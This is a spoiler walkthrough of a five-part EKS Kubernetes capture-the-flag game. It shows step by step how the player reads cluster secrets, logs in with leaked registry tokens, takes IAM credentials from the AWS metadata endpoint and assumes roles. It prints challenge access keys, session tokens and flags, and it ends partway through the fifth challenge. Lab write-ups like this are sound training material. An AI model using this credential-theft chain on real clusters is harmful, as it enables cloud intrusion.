Warning Spoilers!
This walkthrough goes over the 5 EKS Cluster Game challenges created by wiz.io.
Secret Seeker
Each challenge gives you a hint and a rbac policy of the service account.
Jumpstart your quest by listing all the secrets in the cluster. Can you spot the flag among them?
{
"secrets": [
"get",
"list"
]
}
Running the following command lists all secrets in our current namespace (challenge1)
kubectl get secrets
# NAME TYPE DATA AGE
# log-rotate Opaque 1 5d2h
We can also view the contents of the secret by adding the name and specifying the yaml output.
kubectl get secrets log-rotate -o yaml
# apiVersion: v1
# data:
# flag: d2l6X2Vrc19jaGFsbGVuZ2V7bnX292ZXJfcHJplsZWdlZF9zZWNyZXRfYWNjZXNzfQ==
# kind: Secret
# metadata:
# creationTimestamp: "2023-11-01T13:02:08Z"
# name: log-rotate
# namespace: challenge1
# resourceVersion: "890951"
# uid: 03f6372c-b728-4c5b-ad28-70d5af8d387c
# type: Opaque
Using the CLI or an online tool we can base64 decode the flag.
echo -n "d2l6X2Vrc19jaGFsbGVuZ2V7bnX292ZXJfcHJplsZWdlZF9zZWNyZXRfYWNjZXNzfQ==" | base64 -d
# wiz_eks_challenge{over_privileged_secret_access}
Registry Hunt
A thing we learned during our research: always check the container registries.
{
"secrets": [
"get"
],
"pods": [
"list",
"get"
]
}
kubectl get secrets
# cannot list resource "secrets" in API group "" in the namespace "challenge2"
kubectl get pods
# NAME READY STATUS RESTARTS AGE
# database-pod-2c9b3a4e 1/1 Running 0 5d2h
kubectl get pods database-pod-2c9b3a4e -o yaml
The following it the output from the get pods database-pod.
apiVersion: v1
kind: Pod
metadata:
annotations:
kubernetes.io/psp: eks.privileged
pulumi.com/autonamed: "true"
creationTimestamp: "2023-11-01T13:32:05Z"
name: database-pod-2c9b3a4e
namespace: challenge2
resourceVersion: "897497"
uid: 57fe7d43-5eb3-4554-98da-47340d94b4a6
spec:
containers:
- image: eksclustergames/base_ext_image
imagePullPolicy: Always
name: my-container
resources: {}
terminationMessagePath: /dev/termination-log
terminationMessagePolicy: File
volumeMounts:
- mountPath: /var/run/secrets/kubernetes.io/serviceaccount
name: kube-api-access-cq4m2
readOnly: true
dnsPolicy: ClusterFirst
enableServiceLinks: true
imagePullSecrets:
- name: registry-pull-secrets-780bab1d
nodeName: ip-192-168-21-50.us-west-1.compute.internal
preemptionPolicy: PreemptLowerPriority
priority: 0
restartPolicy: Always
schedulerName: default-scheduler
securityContext: {}
serviceAccount: default
serviceAccountName: default
terminationGracePeriodSeconds: 30
tolerations:
- effect: NoExecute
key: node.kubernetes.io/not-ready
operator: Exists
tolerationSeconds: 300
- effect: NoExecute
key: node.kubernetes.io/unreachable
operator: Exists
tolerationSeconds: 300
volumes:
- name: kube-api-access-cq4m2
projected:
defaultMode: 420
sources:
- serviceAccountToken:
expirationSeconds: 3607
path: token
- configMap:
items:
- key: ca.crt
path: ca.crt
name: kube-root-ca.crt
- downwardAPI:
items:
- fieldRef:
apiVersion: v1
fieldPath: metadata.namespace
path: namespace
status:
conditions:
- lastProbeTime: null
lastTransitionTime: "2023-11-01T13:32:05Z"
status: "True"
type: Initialized
- lastProbeTime: null
lastTransitionTime: "2023-11-01T13:32:08Z"
status: "True"
type: Ready
- lastProbeTime: null
lastTransitionTime: "2023-11-01T13:32:08Z"
status: "True"
type: ContainersReady
- lastProbeTime: null
lastTransitionTime: "2023-11-01T13:32:05Z"
status: "True"
type: PodScheduled
containerStatuses:
- containerID: containerd://b427307b7f428bcf6a50bb40ebef194ba358f77dbdb3e7025f46be02b922f5af
image: docker.io/eksclustergames/base_ext_image:latest
imageID: docker.io/eksclustergames/base_ext_image@sha256:a17a9428af1cc25f2158dfba0fe3662cad25b7627b09bf24a915a70831d82623
lastState: {}
name: my-container
ready: true
restartCount: 0
started: true
state:
running:
startedAt: "2023-11-01T13:32:08Z"
hostIP: 192.168.21.50
phase: Running
podIP: 192.168.12.173
podIPs:
- ip: 192.168.12.173
qosClass: BestEffort
startTime: "2023-11-01T13:32:05Z"
Some information we can gleam from it are the:
- image:
docker.io/eksclustergames/base_ext_image:latest
- imagePullSecrets:
registry-pull-secrets-780bab1d
Since we have get secrets
we can list the value.
kubectl get secret registry-pull-secrets-780bab1d -o yaml
# apiVersion: v1
# data:
# .dockerconfigjson: eyJhdXRocyI6IHsiaW5kZXguZG9ja2VyLmlvL3YxLyI6IHsiYXV0aCI6ICJaV3R6WTJ4MWMzUmxjbWRoYldWek9tUmphM0pmY0dGMFgxbDBibU5XTFZJNE5XMUhOMjAwYkhJME5XbFpVV280Um5WRGJ3PT0ifX19
# kind: Secret
# metadata:
# annotations:
# pulumi.com/autonamed: "true"
# creationTimestamp: "2023-11-01T13:31:29Z"
# name: registry-pull-secrets-780bab1d
# namespace: challenge2
# resourceVersion: "897340"
# uid: 1348531e-57ff-42df-b074-d9ecd566e18b
# type: kubernetes.io/dockerconfigjson
Base64 decoding the dockerconfigjson
, we get the following json output.
{
"auths": {
"index.docker.io/v1/": {
"auth": "ZWtzY2x1c3RlcmdhbWVzOmRja3JfcGF0X1l0bmNWLVI4NW1HN200bHI0NWlZUWo4RnVDbw=="
}
}
}
Base64 decoding again the auth token:eksclustergames:dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo
. This value is in the form username:password
, with this value we can login to the registry.
The following commands were run on my local machine
docker login --username eksclustergames --password dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo
# Login Succeeded
docker pull docker.io/eksclustergames/base_ext_image:latest
# latest: Pulling from eksclustergames/base_ext_image
# Digest: sha256:a17a9428af1cc25f2158dfba0fe3662cad25b7627b09bf24a915a70831d82623
# Status: Downloaded newer image for eksclustergames/base_ext_image:latest
# docker.io/eksclustergames/base_ext_image:latest
Now that the image is pulled lets look to see if there are any secrets baked into the image.
docker run --rm -it docker.io/eksclustergames/base_ext_image:latest sh
# / #
ls -l
# total 44
# drwxr-xr-x 2 root root 12288 Jul 17 18:30 bin
# drwxr-xr-x 5 root root 360 Nov 6 16:03 dev
# drwxr-xr-x 1 root root 4096 Nov 6 16:03 etc
# -rw-r--r-- 1 root root 124 Nov 1 13:32 flag.txt
# drwxr-xr-x 2 nobody nobody 4096 Jul 17 18:30 home
# drwxr-xr-x 2 root root 4096 Jul 17 18:30 lib
# lrwxrwxrwx 1 root root 3 Jul 17 18:30 lib64 -> lib
# dr-xr-xr-x 265 root root 0 Nov 6 16:03 proc
# drwx------ 1 root root 4096 Nov 6 16:04 root
# dr-xr-xr-x 12 root root 0 Nov 6 16:03 sys
# drwxrwxrwt 2 root root 4096 Jul 17 18:30 tmp
# drwxr-xr-x 4 root root 4096 Jul 17 18:30 usr
# drwxr-xr-x 4 root root 4096 Jul 17 18:30 var
cat flag.txt
# wiz_eks_challenge{nothing_can_be_said_to_be_certain_except_death_taxes_and_....................}
Image Inquisition
A pod’s image holds more than just code. Dive deep into its ECR repository, inspect the image layers, and uncover the hidden secret.
{
"pods": [
"list",
"get"
]
}
Lets first see what pods are running.
kubectl get pods
# NAME READY STATUS RESTARTS AGE
# accounting-pod-876647f8 1/1 Running 0 5d2h
kubectl get pods accounting-pod-876647f8 -o yaml
apiVersion: v1
kind: Pod
metadata:
annotations:
kubernetes.io/psp: eks.privileged
pulumi.com/autonamed: "true"
creationTimestamp: "2023-11-01T13:32:10Z"
name: accounting-pod-876647f8
namespace: challenge3
resourceVersion: "897513"
uid: dd2256ae-26ca-4b94-a4bf-4ac1768a54e2
spec:
containers:
- image: 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01
imagePullPolicy: IfNotPresent
name: accounting-container
resources: {}
terminationMessagePath: /dev/termination-log
terminationMessagePolicy: File
volumeMounts:
- mountPath: /var/run/secrets/kubernetes.io/serviceaccount
name: kube-api-access-mmvjj
readOnly: true
dnsPolicy: ClusterFirst
enableServiceLinks: true
nodeName: ip-192-168-21-50.us-west-1.compute.internal
preemptionPolicy: PreemptLowerPriority
priority: 0
restartPolicy: Always
schedulerName: default-scheduler
securityContext: {}
serviceAccount: default
serviceAccountName: default
terminationGracePeriodSeconds: 30
tolerations:
- effect: NoExecute
key: node.kubernetes.io/not-ready
operator: Exists
tolerationSeconds: 300
- effect: NoExecute
key: node.kubernetes.io/unreachable
operator: Exists
tolerationSeconds: 300
volumes:
- name: kube-api-access-mmvjj
projected:
defaultMode: 420
sources:
- serviceAccountToken:
expirationSeconds: 3607
path: token
- configMap:
items:
- key: ca.crt
path: ca.crt
name: kube-root-ca.crt
- downwardAPI:
items:
- fieldRef:
apiVersion: v1
fieldPath: metadata.namespace
path: namespace
Interesting information about the pod
- image:
688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01
aws ecr get-login-password --region us-west-1 | docker login --username AWS --password-stdin 688655246681.dkr.ecr.us-west-1.amazonaws.com
# No permissions
The scenario also has a reminder that is running EKS.
Remember: You are running inside a compromised EKS pod.
Maybe we can hit the AWS metadata endpint?
curl 169.254.169.254
# ...
# latest
curl 169.254.169.254/latest/meta-data/iam/security-credentials/
# eks-challenge-cluster-nodegroup-NodeInstanceRole
curl 169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole
# Note cannot end in backslash
The secrets 😋
{
"AccessKeyId": "ASIA2AVYNEVMTMBSDVFK",
"Expiration": "2023-11-06 17:44:02+00:00",
"SecretAccessKey": "OiECjGRpZ1egfBfXNJboAIbvWUOX7EzndIgnzwY3",
"SessionToken": "FwoGZXIvYXdzEGoaDA9oX4BZuVLQSeYIDyK3AX/RrB4W53AlQS+lA9Uko+ILMx99mgCnkvP9JY7EuxQ/EXYxoWYTOdazogDnfps2uJiKgic7hc8pCYR2g1PavpUmSvrnvCIM9PuL7HdHd/1d1PmF1UM+HiuWEpj+3e/LJRFxXcGv6A0gHXhclRkG+s6JU84j7rroMEH2IE2vlxCip0wALIHFZYaMH9heWJpDZEKrJIGnugLqkKT8JAqImqTxOWnfqJ62cwvbU0CVB5/x9kkY2Q2dhyjSr6SqBjItIUyIdMH1qP174hYM++yyUw50r4AJWHG62sRB6Rag19vTbifmtKG+RNgAzui2"
}
Export them to a local shell
export AWS_ACCESS_KEY_ID=ASIA2AVYNEVMTMBSDVFK
export AWS_SECRET_ACCESS_KEY=OiECjGRpZ1egfBfXNJboAIbvWUOX7EzndIgnzwY3
export AWS_SESSION_TOKEN=FwoGZXIvYXdzEGoaDA9oX4BZuVLQSeYIDyK3AX/RrB4W53AlQS+lA9Uko+ILMx99mgCnkvP9JY7EuxQ/EXYxoWYTOdazogDnfps2uJiKgic7hc8pCYR2g1PavpUmSvrnvCIM9PuL7HdHd/1d1PmF1UM+HiuWEpj+3e/LJRFxXcGv6A0gHXhclRkG+s6JU84j7rroMEH2IE2vlxCip0wALIHFZYaMH9heWJpDZEKrJIGnugLqkKT8JAqImqTxOWnfqJ62cwvbU0CVB5/x9kkY2Q2dhyjSr6SqBjItIUyIdMH1qP174hYM++yyUw50r4AJWHG62sRB6Rag19vTbifmtKG+RNgAzui2
aws sts get-caller-identity
# {
# "UserId": "AROA2AVYNEVMQ3Z5GHZHS:i-0cb922c6673973282",
# "Account": "688655246681",
# "Arn": "arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282"
# }
aws ecr get-login-password --region us-west-1 | docker login --username AWS --password-stdin 688655246681.dkr.ecr.us-west-1.amazonaws.com
# Login Succeeded
docker pull 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01
# e7310b04c944: Pull complete
# Digest: sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01
The challenge wants us to look in the image. Lets see if we can find anything with the docker history command
docker history 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01
# IMAGE CREATED CREATED BY SIZE COMMENT
# 575a75bed1bd 5 days ago CMD ["/bin/sleep" "3133337"] 0B buildkit.dockerfile.v0
# <missing> 5 days ago RUN sh -c #ARTIFACTORY_USERNAME=challenge@ek… 0B buildkit.dockerfile.v0
# <missing> 3 months ago /bin/sh -c #(nop) CMD ["sh"] 0B
# <missing> 3 months ago /bin/sh -c #(nop) ADD file:7e9002edaafd4e457… 4.26MB
Add the --no-trunc
flag to view the fully created by.
docker history --no-trunc 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01
# IMAGE CREATED CREATED BY SIZE COMMENT
# sha256:575a75bed1bdcf83fba40e82c30a7eec7bc758645830332a38cef238cd4cf0f3 5 days ago CMD ["/bin/sleep" "3133337"] 0B buildkit.dockerfile.v0
# <missing> 5 days ago RUN sh -c #[email protected] ARTIFACTORY_TOKEN=wiz_eks_challenge{the_history_of_container_images_could_reveal_......} ARTIFACTORY_REPO=base_repo /bin/sh -c pip install setuptools --index-url intrepo.eksclustergames.com # buildkit # buildkit 0B buildkit.dockerfile.v0
# <missing> 3 months ago /bin/sh -c #(nop) CMD ["sh"] 0B
# <missing> 3 months ago /bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / 4.26MB
Inside of the build step is the secret ARTIFACTORY_TOKEN=wiz_eks_challenge{}
Pod Break
You’re inside a vulnerable pod on an EKS cluster. Your pod’s service-account has no permissions. Can you navigate your way to access the EKS Node’s privileged service-account?
{}
No permissions 😢
Lets get the role name & the IAM credentials
curl 169.254.169.254/latest/meta-data/iam/security-credentials/
# eks-challenge-cluster-nodegroup-NodeInstanceRole
curl 169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole
# {"AccessKeyId":"ASIA2AVYNEVMSPWQEZU6","Expiration":"2023-11-06 18:07:58+00:00","SecretAccessKey":"VH0Q4HWh3FbgHIYTHMEzZzqUI8z5ryk5p0ApnE5d","SessionToken":"FwoGZXIvYXdzEGsaDMy8UmuL7XBtfn6mtSK3ARTElmVIixVg8XOk3iohnVS4+ATPSXavNomNPYFhP8EIRAgt2iowXvqcImQcdbp87iiLOpKoyaYuhkX0gJnzV7ESOs966l53x+RlP7BuLgU1K/TjPaHrYjoozx7pO1DbvPFLaT7U9qHhi5Dt8kUyZ64lK32Ob0tRbt9mQZamHRL7uFOGVdnlX2fnVC8GXS2doDYdwcQJh+gcxWBzskiui9i+TKRDqXeaSkyZ40agW7C9l5GlfmY5MyjuuqSqBjIt9CxvoiX9sQmVnnqZZZcMdmvd5ViBYv29mW930YQgZj+AmLRFyJwcRwL57J+f"}
Now we can get a token to authenticate to the cluster with.
# Note should be eks-challenge-cluster
aws eks get-token --region us-west-1 --cluster-name eks-challenge
This returns a json object.
{
"kind": "ExecCredential",
"apiVersion": "client.authentication.k8s.io/v1beta1",
"spec": {},
"status": {
"expirationTimestamp": "2023-11-06T17:59:23Z",
"token": "k8s-aws-v1.aHR0cHM6Ly9zdHMudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vP0FjdGlvbj1HZXRDYWxsZXJJZGVudGl0eSZWZXJzaW9uPTIwMTEtMDYtMTUmWC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BU0lBMkFWWU5FVk1UQ1pHVzZPUiUyRjIwMjMxMTA2JTJGdXMtd2VzdC0xJTJGc3RzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyMzExMDZUMTc0NTIzWiZYLUFtei1FeHBpcmVzPTYwJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCUzQngtazhzLWF3cy1pZCZYLUFtei1TZWN1cml0eS1Ub2tlbj1Gd29HWlhJdllYZHpFR3NhRE1iWVJtdHFmTzgwcE1wYWtTSzNBZGpNYXBsN3FNYWtSRXZFNVBNaURaM0ZicDU1OFZPUGpLSVgzb3FocDh6UFR4TzZJN1ZueGQlMkYwOHB4dEhlWGxnbURRVXhCZHBaTHNXbzA4VmZUdVpvaFdnTkRldUZhMkVtQ3pkJTJGS0dNdnpYQWNkdkpaTXlMUXhEajhoWEd5dHpGcTVvc1NTOWhnV0hQcVNQZTJGZ0kwbERSamFwZHZYcHFPMlRUd09la0NkdW1CMEowaVJxNlpxRiUyQmxxRWM5anFwZkFuY3AlMkJ5cUt1bWRBZ2NDNUwlMkJEWm9tbTZua3E4UFF2WDFTUmZ2NGVFYll2dkE2S0ZKOVRTajR5S1NxQmpJdHF2ZCUyRkxmNCUyRmxPdTlUUmN6RzBSMENjZjVKbmNpV3dmQ0MwODNKTERRTzFMRnhkbEsxdWhDSlkxbGhxYUEmWC1BbXotU2lnbmF0dXJlPWM2YTA2MTRjOWE3N2NjZjNhNGM1M2I2ODU4NmM2NDI3NmZmZGM2YTdiMGE3Yjc3Y2Y5OTAyMDdjMDY3YjY3YmY"
}
}
Base64 decode the token after k8s-aws-v1.
The results should look something like this
https://sts.us-west-1.amazonaws.com/?Action=GetCallerIdentity&Version=2011-06-15&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIA2AVYNEVMTCZGW6OR%2F20231106%2Fus-west-1%2Fsts%2Faws4_request&X-Amz-Date=20231106T174523Z&X-Amz-Expires=60&X-Amz-SignedHeaders=host%3Bx-k8s-aws-id&X-Amz-Security-Token=FwoGZXIvYXdzEGsaDMbYRmtqfO80pMpakSK3AdjMapl7qMakREvE5PMiDZ3Fbp558VOPjKIX3oqhp8zPTxO6I7Vnxd%2F08pxtHeXlgmDQUxBdpZLsWo08VfTuZohWgNDeuFa2EmCzd%2FKGMvzXAcdvJZMyLQxDj8hXGytzFq5osSS9hgWHPqSPe2FgI0lDRjapdvXpqO2TTwOekCdumB0J0iRq6ZqF%2BlqEc9jqpfAncp%2ByqKumdAgcC5L%2BDZomm6nkq8PQvX1SRfv4eEbYvvA6KFJ9TSj4yKSqBjItqvd%2FLf4%2FlOu9TRczG0R0Ccf5JnciWwfCC083JLDQO1LFxdlK1uhCJY1lhqaA&X-Amz-Signature=c6a0614c9a77ccf3a4c53b68586c64276ffdc6a7b0a7b77cf990207c067b67
I tried using the token in a kube config file but no luck. I also realized that the clusters name is eks-challenge-cluster.
- name: conftoken
user:
exec:
apiVersion: client.authentication.k8s.io/v1beta1
args:
- --region
- us-west-1
- eks
- get-token
- --cluster-name
- eks-challenge-cluster
command: aws
This works instead
TOKEN=$(aws eks get-token --cluster-name eks-challenge-cluster | jq -r '.status.token') kubectl --token "$TOKEN" auth can-i --list
# Resources Non-Resource URLs Resource Names Verbs
# serviceaccounts/token [] [debug-sa] [create]
# selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
# selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
# pods [] [] [get list]
# secrets [] [] [get list]
# serviceaccounts [] [] [get list]
The out put of the previous command show what permissions we have access to. It lets us view pods and secrets
TOKEN=$(aws eks get-token --cluster-name eks-challenge-cluster | jq -r '.status.token') kubectl --token "$TOKEN" get secrets
NAME TYPE DATA AGE
node-flag Opaque 1 5d8h
TOKEN=$(aws eks get-token --cluster-name eks-challenge-cluster | jq -r '.status.token') kubectl --token "$TOKEN" get secrets node-flag -o yaml
The secret
apiVersion: v1
data:
flag: d2l6X2Vrc19jaGFsbGVuZ2V7b25seV9hX3JlYWxfcHJvX2Nhbl9pZ2F0ZV9JTURTX3vX0VLU19jb25ncmF0c30=
kind: Secret
metadata:
creationTimestamp: "2023-11-01T12:27:57Z"
name: node-flag
namespace: challenge4
resourceVersion: "883574"
uid: 26461a29-ec72-40e1-adc7-99128ce664f7
type: Opaque
Base64 decode it for the flag
Container Secrets Infrastructure
You’ve successfully transitioned from a limited Service Account to a Node Service Account! Great job. Your next challenge is to move from the EKS to the AWS account. Can you acquire the AWS role of the s3access-sa service account, and get the flag?
In addition the the Kubernetes RBAC there is a IAM and trust policy.
RBAC
{
"secrets": [
"get",
"list"
],
"serviceaccounts": [
"get",
"list"
],
"pods": [
"get",
"list"
],
"serviceaccounts/token": [
"create"
]
}
Policy
{
"Policy": {
"Statement": [
{
"Action": [
"s3:GetObject",
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": [
"arn:aws:s3:::challenge-flag-bucket-3ff1ae2",
"arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag"
]
}
],
"Version": "2012-10-17"
}
}
Trust Policy (of the role s3access-sa)
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589:aud": "sts.amazonaws.com"
}
}
}
]
}
Lets see what resources exist in the cluster.
kubectl get secrets
# No resources found in challenge5 namespace.
kubectl get pods
# No resources found in challenge5 namespace.
kubectl get sa
# NAME SECRETS AGE
# debug-sa 0 6d1h
# default 0 6d1h
# s3access-sa 0 6d1h
Lets get more info about the service accounts.
kubectl get sa s3access-sa -o yaml
apiVersion: v1
kind: ServiceAccount
metadata:
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::688655246681:role/challengeEksS3Role
creationTimestamp: "2023-10-31T20:07:34Z"
name: s3access-sa
namespace: challenge5
resourceVersion: "671916"
uid: 86e44c49-b05a-4ebe-800b-45183a6ebbda
The annotation eks.amazonaws.com/role-arn
lets (aws-iam-authenticator) the service account assume the role challengeEksS3Role
.
kubectl create token s3access-sa --duration 3h --audience "sts.amazonaws.com" --namespace challenge5
# error: failed to create token: serviceaccounts "s3access-sa" is forbidden: User "system:node:challenge:ip-192-168-21-50.us-west-1.compute.internal" cannot create resource "serviceaccounts/token" in API group "" in the namespace "challenge5"
kubectl get sa debug-sa -o yaml
# apiVersion: v1
# kind: ServiceAccount
# metadata:
# annotations:
# description: This is a dummy service account with empty policy attached
# eks.amazonaws.com/role-arn: arn:aws:iam::688655246681:role/challengeTestRole-fc9d18e
# name: debug-sa
# namespace: challenge5
kubectl create token debug-sa --audience "sts.amazonaws.com" --namespace challenge5
# eyJhbGciOiJSUzI1NiIsImtpZCI6IjZkMjNjYTkwMGI2MTVhYWJmNTBmYWJlZDc0NzA1OTNiNjIyMDA5NmYifQ.eyJhdWQiOlsic3RzLmFtYXpvbmF3cy5jb20iXSwiZXhwIjoxNjk5MzA5MjQ5LCJpYXQiOjE2OTkzMDU2NDksImlzcyI6Imh0dHBzOi8vb2lkYy5la3MudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vaWQvQzA2MkMyMDdDOEY1MERFNEVDMjRBMzcyRkY2MEU1ODkiLCJrdWJlcm5ldGVzLmlvIjp7Im5hbWVzcGFjZSI6ImNoYWxsZW5nZTUiLCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVidWctc2EiLCJ1aWQiOiI2Y2I2MDI0YS1jNGRhLTQ3YTktOTA1MC01OWM4YzcwNzk5MDQifX0sIm5iZiI6MTY5OTMwNTY0OSwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmNoYWxsZW5nZTU6ZGVidWctc2EifQ.UIt0jBu9uGxqwXb0UYZKoOO9AqvwzEht2exCbEN7p4v8KllN9OKDBLXsa8hFRQSzi2asxvO8zavUZraQSHVlXgytYJGQfhPaA6swzL6ZCpp0wZD37OqaO4HRQSYzcnYDzrofWWstBrQ7IY0OIwEgPZXqQXe79DY3v5etOEjltUvQJ6AnEIky180Griv_mWRsA87NYbFL_PxNVTIf3JqJz1ZwPsajNaEO3TXQT6Degkfw25nycewFLzZ-IrtTkblL77tLgtCe41dNXjPqEpg_PXtv8s-fBSgaNFk1CjVVSXjM7OLplAQbQKbvKzS-OekKkyEhKw3zOHHJc-XkTRls7A
The token returned is a JWT it can be viewed using an online tools (token.dev).
Using the token we can authenticate agains AWS.
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::688655246681:role/challengeTestRole-fc9d18e --role-session-name challenge5 --web-identity-token 'eyJhbGciOiJSUzI1NiIsImtpZCI6IjZkMjNjYTkwMGI2MTVhYWJmNTBmYWJlZDc0NzA1OTNiNjIyMDA5NmYifQ.eyJhdWQiOlsic3RzLmFtYXpvbmF3cy5jb20iXSwiZXhwIjoxNjk5MzA5MjQ5LCJpYXQiOjE2OTkzMDU2NDksImlzcyI6Imh0dHBzOi8vb2lkYy5la3MudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vaWQvQzA2MkMyMDdDOEY1MERFNEVDMjRBMzcyRkY2MEU1ODkiLCJrdWJlcm5ldGVzLmlvIjp7Im5hbWVzcGFjZSI6ImNoYWxsZW5nZTUiLCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVidWctc2EiLCJ1aWQiOiI2Y2I2MDI0YS1jNGRhLTQ3YTktOTA1MC01OWM4YzcwNzk5MDQifX0sIm5iZiI6MTY5OTMwNTY0OSwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmNoYWxsZW5nZTU6ZGVidWctc2EifQ.UIt0jBu9uGxqwXb0UYZKoOO9AqvwzEht2exCbEN7p4v8KllN9OKDBLXsa8hFRQSzi2asxvO8zavUZraQSHVlXgytYJGQfhPaA6swzL6ZCpp0wZD37OqaO4HRQSYzcnYDzrofWWstBrQ7IY0OIwEgPZXqQXe79DY3v5etOEjltUvQJ6AnEIky180Griv_mWRsA87NYbFL_PxNVTIf3JqJz1ZwPsajNaEO3TXQT6Degkfw25nycewFLzZ-IrtTkblL77tLgtCe41dNXjPqEpg_PXtv8s-fBSgaNFk1CjVVSXjM7OLplAQbQKbvKzS-OekKkyEhKw3zOHHJc-XkTRls7A'
The output are the credentials
{
"Credentials": {
"AccessKeyId": "ASIA2AVYNEVM6OOLSC6X",
"SecretAccessKey": "yL0R0E6BcfJMr3w+ieLz0rSGClfjT4ZfSb4feaW4",
"SessionToken": "IQoJb3JpZ2luX2VjEF4aCXVzLXdlc3QtMSJHMEUCID4vygKHnQl2zp4cHMKWrkG3NBx3bIgsLH/UNOQWpPqmAiEA2FqhUwoEU5HLIwt4rpQ/WwaDQWuMmRF3C33kVS5epfgqxAQIl///////////ARAAGgw2ODg2NTUyNDY2ODEiDDD2YfIyjAhzwcHU2CqYBElY89dnewlWGLwNCjtxKvAbx9OWSvXF3OkGXC7QJvq7w5Lod+oUiAdyYPRhNreIc06XU/LuCZUEXtgbaQbKmN84l/7tbT7OVXTXbGxc4knhykkRdchvSl7vPAmUCQJxSUykGtxNAR4PMR3LkRtM1MPjed6BgVEVL2IZB+AjmjQ/tMteQdVgfdbDKcui8GWz/eu3zS5x0lGaSO6HUkA7Punhn8WMSpkQX4vBDSDVHZKnX2z/T1WzIAjiGOLf92TvQrTX4xOrMAjwTT+ZZ99OFrcpoC/LkU+olPya6IHdHY6IYTMZXnOzZptUjshIN1+aitrfX9CvtWboXnDzbKNZxgxTmOZOPBQ/Vzl9PNQ35eJw7tfibkcwSiPQ2TxTrDBCrvLP8X13CMXPSIZVNDWu4zjqNAD7FGyMQ4wyIg59GAdJ3CyW2VEi0GNAd+p6psDscI/ch7YOKfmyXAu2PtGL28x+lfnOsPNvmCUquNwBgxi+NvJcFUyaZYJyH62+lohDhhvh9dW2Xdlg7vECwJORahZPujpvbJ0TSFPu7TQnFBiY7dxURuUY1+5ErnMl47DZMcK2SoTFW4FeP+I8eERjGUH/fEziUfRZmRBh//A328JXSnDeaeLnzB2CuMvtns61InSX/wt12cD/8+/hWQ6jTPP9K6cLSEX0KjQutLV8yMMB5D4P36cuuHf9n1V0LqD15oLcNG1fTVlcMLGzpaoGOpUBfIOL7CQa42ypxEdhCWkbGQOnXIUMCqnWQd/KgPC/w6PJXiSyJhfJmN0XXFRqY29HZEZH4En/YsRFHoH9xM8Zv4U9tL0fWfgb3ELt9xbgoDm5mVl995s5vihAfaNaF4CVmbAx58jat4+L8AytkFKEQ22jb8a+4ICWlRa/3jjvl1IaFUTIZWGZ6wKyty8gU0hSPiI0x78=",
"Expiration": "2023-11-06T22:25:05+00:00"
},
"SubjectFromWebIdentityToken": "system:serviceaccount:challenge5:debug-sa",
"AssumedRoleUser": {
"AssumedRoleId": "AROA2AVYNEVM6G5PAIL7U:challenge5",
"Arn": "arn:aws:sts::688655246681:assumed-role/challengeTestRole-fc9d18e/challenge5"
},
"Provider": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589",
"Audience": "sts.amazonaws.com"
}
export AWS_ACCESS_KEY_ID=ASIA2AVYNEVM6OOLSC6X
export AWS_SECRET_ACCESS_KEY=yL0R0E6BcfJMr3w+ieLz0rSGClfjT4ZfSb4feaW4
